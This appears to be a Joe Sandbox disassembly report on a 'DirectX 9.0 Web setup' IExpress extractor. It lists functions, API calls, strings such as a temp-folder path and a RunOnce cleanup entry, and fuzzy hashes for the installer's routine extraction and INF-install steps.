Strings

wextract_cleanup0, xrefs: 010019F6, 01001A08, 01001A19, 01001A3D, 01001B6C
%s /D:%s, xrefs: 01001B46, 01001B57
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01001AD2, 01001B4B
advpack.dll, xrefs: 01001A5C
wextract_cleanup%d, xrefs: 01001A03
DelNodeRunDLL32, xrefs: 01001A85
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 01001B39
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010019D7

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Closelstrlen$DirectoryFreeLibraryLocalSystemValuewsprintf$AddressAllocCreateFileLoadModuleNameProcQuery
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 3084642846-2414900631
Opcode ID: c9262a911cf3084d63b0fa5f4be99a77ebbc8ce96a0a011a0b05c5970966fbed
Instruction ID: bcd9c67c776e79ec80fa89b258506c9e143caafd4bb2848af9ab02cf1fab0281
Opcode Fuzzy Hash: c9262a911cf3084d63b0fa5f4be99a77ebbc8ce96a0a011a0b05c5970966fbed
Instruction Fuzzy Hash: 31514071A40218BBEB229BA5DD49EDE7BBCEB08700F004495F685E6085D7B9DA41CF90

Function 01004C18 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 172
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01004C87
SetEvent.KERNEL32(00000000,?,00000000), ref: 01004C93

Part of subcall function 01002A34: FreeResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A97

CreateMutexA.KERNEL32(00000000,00000001,?,INSTANCECHECK,?,00000104,EXTRACTOPT,0100B494,00000004,?,00000000), ref: 01004CFD
GetLastError.KERNEL32(?,00000000), ref: 01004D0C
FindResourceA.KERNEL32(00000000,VERCHECK,0000000A), ref: 01004DA7
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 01004DB5
#17.COMCTL32(?,00000000), ref: 01004DC6
CloseHandle.KERNEL32(00000000,00000524,DirectX 9.0 Web setup,00000000,00000020,00000004,?,00000000), ref: 01004D50

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Strings

TITLE, xrefs: 01004C5D
VERCHECK, xrefs: 01004D9F
INSTANCECHECK, xrefs: 01004CC7
EXTRACTOPT, xrefs: 01004CA0
DirectX 9.0 Web setup, xrefs: 01004C52, 01004C59, 01004D26, 01004D39

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$Find$CreateEventLoad$CloseErrorFreeHandleLastLockMessageMutexSizeof
String ID: DirectX 9.0 Web setup$EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK
API String ID: 612345255-3861042123
Opcode ID: 6e61b948a8d2d4fbc5d951fd4a04286bee1605d2895dff06b8bbb81afb43d88a
Instruction ID: 917ad5cb818e3c264ff7b4ff8797261597b45a6a0e97e5d7e7b17e1e85fa401a
Opcode Fuzzy Hash: 6e61b948a8d2d4fbc5d951fd4a04286bee1605d2895dff06b8bbb81afb43d88a
Instruction Fuzzy Hash: 7C5127B0644385BAF7336B289D89FAA3B9DEB55744F000465F7C5DA1C5CBB98E808728

Function 01003F0D Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,771A83C0,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 01003F37
SetCurrentDirectoryA.KERNELBASE(00000000), ref: 01003F46

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01003F29

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CurrentDirectory
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1611563598-1955631000
Opcode ID: 7272f09d9cc4f95465a0350aed80e63b7b027015254899d99047417d38069267
Instruction ID: a82620e449f5b1383de194113fdcc55ed895d330ee11bc6e5bf4c8a97130a73d
Opcode Fuzzy Hash: 7272f09d9cc4f95465a0350aed80e63b7b027015254899d99047417d38069267
Instruction Fuzzy Hash: 1351A0B1A00209BEFB23DB64CC85EFE7B6CAB08344F0044A5B7C5E60C5D6759E858B64

Function 01004B1A Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 83
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 01004B50
GetSystemInfo.KERNEL32(?), ref: 01004B63
lstrcpyA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 01004BB0
CreateDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01004BC2

Part of subcall function 01002F7A: wsprintfA.USER32 ref: 01002F9A
Part of subcall function 01002F7A: lstrcpyA.KERNEL32(?,?), ref: 01002FAC
Part of subcall function 01002F7A: RemoveDirectoryA.KERNELBASE(?,?,?), ref: 01002FBE
Part of subcall function 01002F7A: GetFileAttributesA.KERNELBASE(?), ref: 01002FC5
Part of subcall function 01002F7A: GetTempFileNameA.KERNEL32(?,IXP,00000000,?), ref: 01002FED
Part of subcall function 01002F7A: DeleteFileA.KERNEL32(?), ref: 01002FFB
Part of subcall function 01002F7A: CreateDirectoryA.KERNEL32(?,00000000), ref: 01003004

RemoveDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01004C0A

Strings

ppc, xrefs: 01004B7A
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01004B29, 01004B4A, 01004B4F, 01004B94, 01004B9F, 01004BAA, 01004BAF, 01004BB6, 01004BC1, 01004BDA, 01004C03
i386, xrefs: 01004B8F
mips, xrefs: 01004B88
alpha, xrefs: 01004B81

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Directory$Filelstrcpy$CreateRemove$AttributesDeleteInfoNameSystemTempwsprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 2618030033-3881341942
Opcode ID: d5e147964fd9a8698458917d450e8c8beedf36294136644907e6467125a92c41
Instruction ID: 863f2b1f4f4a5febeb1d47ca0d15cb2489539e343ca057a3309e34f4a0df478a
Opcode Fuzzy Hash: d5e147964fd9a8698458917d450e8c8beedf36294136644907e6467125a92c41
Instruction Fuzzy Hash: 5421A131505B19ABFB639F699C44FEA3ADCAB05385F4000A9F7C5E10C4DB39C941CB69

Function 01005E67 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNELBASE(00000000,00000000,00000000,00000000,00000000), ref: 01005E90
MulDiv.KERNEL32(00000000,00000000,00000400), ref: 01005EAB

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 81f4c4850e346c9080ac81259ce3d45f8a1d835a9eef6e91ffedc07ec51b2c28
Instruction ID: 8a5b4a76b2f8f35f795143fc95d6367980ae63d8bc1465d256248162a8adc07a
Opcode Fuzzy Hash: 81f4c4850e346c9080ac81259ce3d45f8a1d835a9eef6e91ffedc07ec51b2c28
Instruction Fuzzy Hash: C3F0E776D01218BFEF05DF94C844BEEBBBCEF14316F008496AA51A6180D775AB04CF90

Function 01005288 Relevance: 38.8, APIs: 11, Strings: 11, Instructions: 269
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(?,0100BAA2,?,00000000), ref: 0100540C
lstrcmpiA.KERNEL32(?,<None>), ref: 010053AF

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

lstrcmpiA.KERNEL32(?,<None>), ref: 0100544C
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 010054DA
FreeLibrary.KERNEL32(00000000,?,00000000), ref: 01005575
LocalFree.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 01005594
LocalFree.KERNEL32(?,00000000,000004C7,00000000,00000000,00000010,00000000,?,?,?,?,00000000), ref: 010055D0
FreeLibrary.KERNEL32(00000000,00000000,000004C9,DoInfInstall,00000000,00000010,00000000,?,00000000), ref: 0100560C
LocalFree.KERNEL32(?,00000000,000004C8,advpack.dll,00000000,00000010,00000000,advpack.dll,?,?,?,?,00000000), ref: 01005615
FreeLibrary.KERNEL32(00000000,?,00000000), ref: 01005626
LocalFree.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 0100562F

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01005519
advpack.dll, xrefs: 010054C0, 010055E5
SHOWWINDOW, xrefs: 01005319
POSTRUNPROGRAM, xrefs: 01005426
<None>, xrefs: 010053A3, 01005440
DoInfInstall, xrefs: 010054D4, 010055FB
RUNPROGRAM, xrefs: 010053D1
DirectX 9.0 Web setup, xrefs: 01005512
REBOOT, xrefs: 010052B4
USRQCMD, xrefs: 01005384
ADMQCMD, xrefs: 01005377

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Free$Resource$Local$Library$Findlstrcmpi$AddressLoadLockProcSizeoflstrcpy
String ID: <None>$ADMQCMD$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DirectX 9.0 Web setup$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll
API String ID: 770626793-1174598199
Opcode ID: 9bf6c9ac14c3ca6bcf4a5ac89318c0245a048f76e75a5681400d6749ac64c027
Instruction ID: 2f43a83221f47182914e3832709c3c8ca3f90824a361c088b79cbbea01e2dab8
Opcode Fuzzy Hash: 9bf6c9ac14c3ca6bcf4a5ac89318c0245a048f76e75a5681400d6749ac64c027
Instruction Fuzzy Hash: ACA1C070A003499BFF23DF65CC85AEE3BA9AB05305F00416AFAC5960D1DBB68984CF24

Function 01005636 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 233
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

LocalAlloc.KERNEL32(00000040,00000001,RUNPROGRAM,00000000,00000000,?,00000000), ref: 01005659
lstrcmpA.KERNEL32(00000000,<None>,RUNPROGRAM,00000000,00000000,?,00000000), ref: 010056BD
LocalFree.KERNEL32(00000000,?,00000000), ref: 010056D1
LocalFree.KERNEL32(00000000,00000000,000004B1,00000000,00000000,00000010,00000000,RUNPROGRAM,00000000,00000000,?,00000000), ref: 010056A5

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Part of subcall function 01003547: GetLastError.KERNEL32(771C4B00,01004003), ref: 0100354E
Part of subcall function 01003547: GetLastError.KERNEL32 ref: 01003554

GetTempPathA.KERNEL32(00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 01005740
lstrcpyA.KERNEL32(?,A:\,?,00000000), ref: 01005786
GetDriveTypeA.KERNEL32(0000005A,?,00000000), ref: 0100578E
GetFileAttributesA.KERNEL32(0000005A,?,00000000), ref: 010057A7
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,00000000,?,00000000), ref: 010058B3

Strings

Z, xrefs: 0100589A
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01005735, 0100573A, 0100574D, 01005757, 01005763, 0100588A, 01005890
msdownld.tmp, xrefs: 01005845
<None>, xrefs: 010056B7
A:\, xrefs: 0100577A
RUNPROGRAM, xrefs: 01005646, 0100564B, 0100568A

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$Local$ErrorFindFreeLast$AllocAttributesDirectoryDriveFileLoadLockMessagePathSizeofTempTypeWindowslstrcmplstrcpy
String ID: <None>$A:\$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 535033332-1216675450
Opcode ID: 6850fc883a11cab837c26050fb0a112f3f6a7a0a4a41dfd58cf56b6d104f570a
Instruction ID: 096894b9e67c34d8375bb897499805253a01f20e87239c6fdf17a2f350f7322a
Opcode Fuzzy Hash: 6850fc883a11cab837c26050fb0a112f3f6a7a0a4a41dfd58cf56b6d104f570a
Instruction Fuzzy Hash: B661AAB4A40355BAFB3397755D89FEB26ACAB19744F400491FBC9E60C1E6B4C6808F64

Function 01002F7A Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 63
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 01002F9A
lstrcpyA.KERNEL32(?,?), ref: 01002FAC

Part of subcall function 01005B32: lstrlenA.KERNEL32(01003456,0000002F,0100B89A,01003456,0100B89A,01001251), ref: 01005B39
Part of subcall function 01005B32: CharPrevA.USER32(01003456,00000000), ref: 01005B49
Part of subcall function 01005B32: lstrcpyA.KERNEL32(00000000,?), ref: 01005B66

RemoveDirectoryA.KERNELBASE(?,?,?), ref: 01002FBE
GetFileAttributesA.KERNELBASE(?), ref: 01002FC5
GetTempFileNameA.KERNEL32(?,IXP,00000000,?), ref: 01002FED
DeleteFileA.KERNEL32(?), ref: 01002FFB
CreateDirectoryA.KERNEL32(?,00000000), ref: 01003004
CreateDirectoryA.KERNELBASE(?,00000000), ref: 01003019

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01002F82
IXP, xrefs: 01002FE1
IXP%03d.TMP, xrefs: 01002F94

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: DirectoryFile$Createlstrcpy$AttributesCharDeleteNamePrevRemoveTemplstrlenwsprintf
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 3224660439-1581276140
Opcode ID: cc23fafd31c200b07fe8fdd91d20a1ba6cd3f4739df2429ec796210adebc7534
Instruction ID: e7c67a7043ec5c6bac1d4f2c1b8a734ea561e127a1ee01801807ea9209cd36ee
Opcode Fuzzy Hash: cc23fafd31c200b07fe8fdd91d20a1ba6cd3f4739df2429ec796210adebc7534
Instruction Fuzzy Hash: A311E1312092496FE373AB65EC48FEB3BACEF46351F000129F6C5D1084DEBA950587A6

Function 01003E60 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 65
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003E68
LocalAlloc.KERNEL32(00000040,-00000014,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003E74
lstrcpyA.KERNEL32(00000000,01004BBC,771A83C0,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003EA3
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,00000000,TMP4351$.TMP,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003EC4
LocalFree.KERNEL32(00000000,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003ECD
CloseHandle.KERNEL32(00000000,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003ED9
GetFileAttributesA.KERNELBASE(01004BBC,?,00000000,01004BBC,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 01003EE0

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Part of subcall function 01003547: GetLastError.KERNEL32(771C4B00,01004003), ref: 0100354E
Part of subcall function 01003547: GetLastError.KERNEL32 ref: 01003554

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 01003E66
TMP4351$.TMP, xrefs: 01003EA9

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: ErrorFileLastLocal$AllocAttributesCloseCreateFreeHandleMessagelstrcpylstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 3688570051-3788082193
Opcode ID: cec466b1454d8152f2b6b7027edac8848f359d804bd141f2f042a694d3e2b742
Instruction ID: 07e8854d2f4717a7fcec1bdd87890a29ac9275318df03397e391de66aed45773
Opcode Fuzzy Hash: cec466b1454d8152f2b6b7027edac8848f359d804bd141f2f042a694d3e2b742
Instruction Fuzzy Hash: 9A11A5726016447FE223AF799C49F9F3E5CEB06369F014514F2D6E90C5C7BA94418B74

Function 010049DB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01002E6F: FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 01002E89
Part of subcall function 01002E6F: LoadResource.KERNEL32(00000000,00000000,?,010059A0), ref: 01002E92
Part of subcall function 01002E6F: LockResource.KERNEL32(00000000,?,010059A0), ref: 01002E99

GetDlgItem.USER32(00000000,00000842), ref: 01004A00
ShowWindow.USER32(00000000,?,00000000,00000001,0100525B,?,010059A0), ref: 01004A09
GetDlgItem.USER32(00000841,00000005), ref: 01004A18
ShowWindow.USER32(00000000,?,00000000,00000001,0100525B,?,010059A0), ref: 01004A1B
FreeResource.KERNEL32(00000000,-00000514,00000000,00000000,00000010,00000000,?,?,?,00000000,00000001,0100525B,?,010059A0), ref: 01004AC7
SendMessageA.USER32(00000FA1,00000000,00000000,-00000514), ref: 01004B0E

Strings

*MEMCAB, xrefs: 01004A81

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: Resource$ItemShowWindow$FindFreeLoadLockMessageSend
String ID: *MEMCAB
API String ID: 3694369891-3211172518
Opcode ID: c58f8bc2a7f7b26109adb1d35207193ebaf4e78ef12d8e4ecae876ef37705db9
Instruction ID: 5c6169ab3c9c94f66ae9421972872bc9d1b968acd00de396031396c823d54b5c
Opcode Fuzzy Hash: c58f8bc2a7f7b26109adb1d35207193ebaf4e78ef12d8e4ecae876ef37705db9
Instruction Fuzzy Hash: 3E31EA313813117AF63367579C89F972D8DDB56B65F400454F7C8E60C6C6FA889087A9

Function 01004560 Relevance: 10.6, APIs: 7, Instructions: 90
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000020,00000000,00000000,?,?,00000001,771AF530,00000000), ref: 01004595
WaitForSingleObject.KERNEL32(?,000000FF), ref: 010045A4
GetExitCodeProcess.KERNEL32(?,?), ref: 010045B1
CloseHandle.KERNEL32(?,?), ref: 010045F2
CloseHandle.KERNEL32(?), ref: 010045F7
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 01004621
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 0100462E

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2506287728.000000000100C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1000000_UNK_.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 5c87e306d1f07bbbd259af49f0d2f9332393d95cbae5d4cdd0f23aea241cfee2
Instruction ID: 4dc6fc445a0a4644286cad31dd2cd9ca33170ca9f30bc41b6ca94f876d6a0a06
Opcode Fuzzy Hash: 5c87e306d1f07bbbd259af49f0d2f9332393d95cbae5d4cdd0f23aea241cfee2
Instruction Fuzzy Hash: 4521AD35501228BFEB239FA5CC48EEF7BA9FF09360F004025FB94D6095C6768644CBA5

Function 01003D9A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 76
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A48
Part of subcall function 01002A34: SizeofResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A4C
Part of subcall function 01002A34: FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 01002A68
Part of subcall function 01002A34: LoadResource.KERNEL32(00000000,00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A6C
Part of subcall function 01002A34: LockResource.KERNEL32(00000000,?,01004C70,TITLE,DirectX 9.0 Web setup,0000007F,?,00000000), ref: 01002A73

LocalAlloc.KERNEL32(00000040,00000001,UPROMPT,00000000,00000000,?,00000000,?,?,01005917,00000000,01005A22,00000000,01005ACB,?,?), ref: 01003DB5
LocalFree.KERNEL32(00000000,00000000,000004B1,00000000,00000000,00000010,00000000,UPROMPT,00000000,00000000,?,00000000,?,?,01005917,00000000), ref: 01003DFA

Part of subcall function 010038CC: MessageBoxA.USER32(00000000,?,DirectX 9.0 Web setup,00000000), ref: 01003946

Part of subcall function 01003547: GetLastError.KERNEL32(771C4B00,01004003), ref: 0100354E
Part of subcall function 01003547: GetLastError.KERNEL32 ref: 01003554

Strings

UPROMPT, xrefs: 01003DA2, 01003DA7, 01003DDF
<None>, xrefs: 01003E0C

Memory Dump Source

Source File: 00000002.00000002.2505716823.0000000001001000.00000020.00000001.01000000.00000005.sdmp, Offset: 01000000, based on PE: true

Associated: 00000002.00000002.2505418642.0000000001000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2505988293.000000000100A000.00000004.00000001.01000000.00000005.sdmpDownload File
